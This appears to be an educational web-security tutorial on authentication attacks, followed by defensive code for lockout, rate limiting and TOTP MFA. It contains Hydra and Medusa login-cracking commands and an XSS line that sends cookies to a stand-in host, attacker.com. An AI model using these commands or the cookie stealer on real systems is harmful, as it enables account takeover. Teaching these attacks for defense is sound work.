GO KALI FREE
IntermediateWeb Security

Authentication Attacks: Bypassing Login Mechanisms

Learn about common authentication attacks including brute force, credential stuffing, and MFA bypass techniques with defensive strategies.

#Authentication#Brute Force#Credential Stuffing#MFA Bypass#Web Security

What are Authentication Attacks?

Authentication attacks target the mechanisms that verify user identity. Since authentication is the gateway to protected resources, compromising it gives attackers full access to user accounts and data. These attacks range from simple password guessing to sophisticated MFA bypass techniques.

Prerequisites

Before studying authentication attacks, you should understand:

  • **Web Security Fundamentals** — Session management, cookies
  • **Password Security Guide** — Password storage and hashing
  • **Networking Basics** — TCP/IP, HTTP protocol
  • **Burp Suite Introduction** — Intercepting HTTP traffic
  • Types of Authentication Attacks

    Brute Force Attacks

    Systematically trying all possible password combinations:

    # Using Hydra for HTTP basic auth
    hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-get /admin
    
    # Using Hydra for form-based auth
    hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form   "/login:username=^USER^&password=^PASS^:Invalid credentials"
    

    Credential Stuffing

    Using previously leaked username/password pairs against multiple services:

    # Using Medusa for credential stuffing
    medusa -U users.txt -P breached-passwords.txt -h target.com -M http
    

    Password Spraying

    Trying a single common password against many accounts to avoid lockout:

    # Spray a single password against many users
    hydra -L users.txt -p "Spring2026!" target.com http-post-form   "/login:user=^USER^&pass=^PASS^:F=Invalid"
    

    Session Hijacking

    Stealing a valid session token after authentication:

    // Stolen via XSS
    document.location='https://attacker.com/steal?cookie='+document.cookie
    

    MFA Bypass Techniques

  • **MFA fatigue** — Bombard user with push notifications until they accept
  • **SIM swapping** — Port victim's phone number to attacker's SIM
  • **Backup code interception** — Access account recovery flow
  • **OAuth token reuse** — Steal and replay OAuth tokens
  • Defending Authentication

    Account Lockout Policies

    from datetime import datetime, timedelta
    
    MAX_ATTEMPTS = 5
    LOCKOUT_DURATION = timedelta(minutes=15)
    failed_attempts = {}
    
    def login(username, password):
        if username in failed_attempts:
            attempts, lockout_time = failed_attempts[username]
            if attempts >= MAX_ATTEMPTS:
                if datetime.now() - lockout_time < LOCKOUT_DURATION:
                    return "Account locked. Try again later."
                else:
                    del failed_attempts[username]
    
        if verify_password(username, password):
            del failed_attempts[username]
            return "Login successful"
        else:
            if username not in failed_attempts:
                failed_attempts[username] = [0, datetime.now()]
            failed_attempts[username][0] += 1
            return "Invalid credentials"
    

    Rate Limiting

    const rateLimit = require('express-rate-limit');
    
    const loginLimiter = rateLimit({
      windowMs: 15 * 60 * 1000,
      max: 5,
      message: 'Too many login attempts, please try again later.',
    });
    
    app.post('/login', loginLimiter, async (req, res) => {
      // Login logic
    });
    

    Multi-Factor Authentication

    import pyotp
    import qrcode
    
    def setup_mfa(user_id):
        secret = pyotp.random_base32()
        totp = pyotp.TOTP(secret)
        provisioning_uri = totp.provisioning_uri(name=user_id, issuer_name="SecureApp")
        qrcode.make(provisioning_uri).save(f"mfa_{user_id}.png")
        return secret
    
    def verify_totp(secret, code):
        totp = pyotp.TOTP(secret)
        return totp.verify(code, valid_window=1)
    

    Real-World Examples

    Yahoo Breach (2013-2014): The largest credential theft in history, affecting 3 billion accounts. Attackers used phishing and forged cookies.

    SolarWinds (2020): Attackers compromised authentication mechanisms to inject backdoors into software updates, affecting 18,000 customers.

    GitHub Action Spam (2021): Credential stuffing attacks against GitHub accounts used credentials from previous breaches.

    Common Mistakes

    No rate limiting: Allows unlimited login attempts, making brute force trivial.

    Informative error messages: Saying "Username not found" vs "Invalid credentials" helps attackers enumerate valid usernames.

    No MFA or weak MFA: SMS-based MFA is vulnerable to SIM swapping.

    Session not invalidated on password change: Old sessions remain valid.

    Best Practices

  • **Implement rate limiting and account lockout**
  • **Use multi-factor authentication** — Prefer TOTP or hardware keys over SMS
  • **Monitor for unusual login patterns** — Geographic anomalies, rapid attempts
  • **Use strong password policies** — Check against breached password lists
  • **Regenerate sessions on login** — Prevent session fixation
  • **Use secure, HttpOnly, SameSite cookies**
  • Related Tools

  • **Hydra** — Network login cracker
  • **Medusa** — Parallel network login auditor
  • **Burp Suite** — Intruder for automated authentication testing
  • **John the Ripper** — Password cracking
  • **Hashcat** — GPU-accelerated password recovery
  • Related Articles

  • Password Security Guide
  • Credential Stuffing
  • Password Spraying
  • Session Security
  • Summary

    Authentication attacks target the identity verification layer. Common techniques include brute force, credential stuffing, password spraying, and MFA bypass. Effective defenses combine rate limiting, strong password policies, MFA, and anomaly detection.

    Knowledge Check

  • What is the difference between credential stuffing and password spraying?
  • How does session regeneration prevent session fixation?
  • Why is SMS-based MFA weaker than TOTP?
  • What indicators detect credential stuffing?
  • Why should error messages not differentiate between invalid username and wrong password?
  • Frequently Asked Questions

    What is a brute force attack?

    A brute force attack systematically tries all possible password combinations until the correct one is found. Tools like [Hydra](/tools/hydra) automate this process against login forms, SSH, and other authentication endpoints.

    How does credential stuffing differ from brute force?

    Credential stuffing uses leaked username/password pairs from previous breaches against multiple services, while brute force tries random combinations. Credential stuffing is faster because users often reuse passwords across sites.

    What is password spraying?

    Password spraying tries one common password (like 'Spring2026!') against many accounts to avoid triggering account lockout policies. It exploits the fact that many users choose predictable passwords.

    How does MFA bypass work?

    MFA bypass techniques include MFA fatigue attacks (spamming push notifications until the user accepts), SIM swapping to intercept SMS codes, and stealing backup codes through phishing. TOTP and hardware keys are more resistant than SMS-based MFA.

    Why should error messages not reveal whether a username exists?

    If a login page says 'username not found' vs 'wrong password', attackers can enumerate valid usernames. Always return a generic 'invalid credentials' message to prevent user enumeration.

    What is session hijacking?

    Session hijacking steals a valid session token — typically via XSS or network sniffing — letting the attacker impersonate the authenticated user. See [Session Security](/learn/session-security) for defensive techniques.

    How does rate limiting prevent authentication attacks?

    Rate limiting restricts the number of login attempts per time window (e.g., 5 attempts per 15 minutes), making brute force and credential stuffing impractical. Combine with account lockout for stronger protection.

    What is the difference between account lockout and rate limiting?

    Rate limiting throttles requests across all users from an IP, while account lockout disables a specific account after failed attempts. Using both together provides defense against both targeted and distributed attacks.

    Can SMS-based MFA be bypassed?

    Yes, SMS-based MFA is vulnerable to SIM swapping, SS7 protocol attacks, and social engineering. Use TOTP apps like Google Authenticator or hardware security keys (FIDO2/WebAuthn) for stronger MFA.

    What real-world breaches involved authentication attacks?

    The Yahoo breach (2013) affected 3 billion accounts through phishing and forged cookies. The SolarWinds attack (2020) compromised authentication mechanisms to inject backdoors. GitHub experienced credential stuffing in 2021 using breached credentials.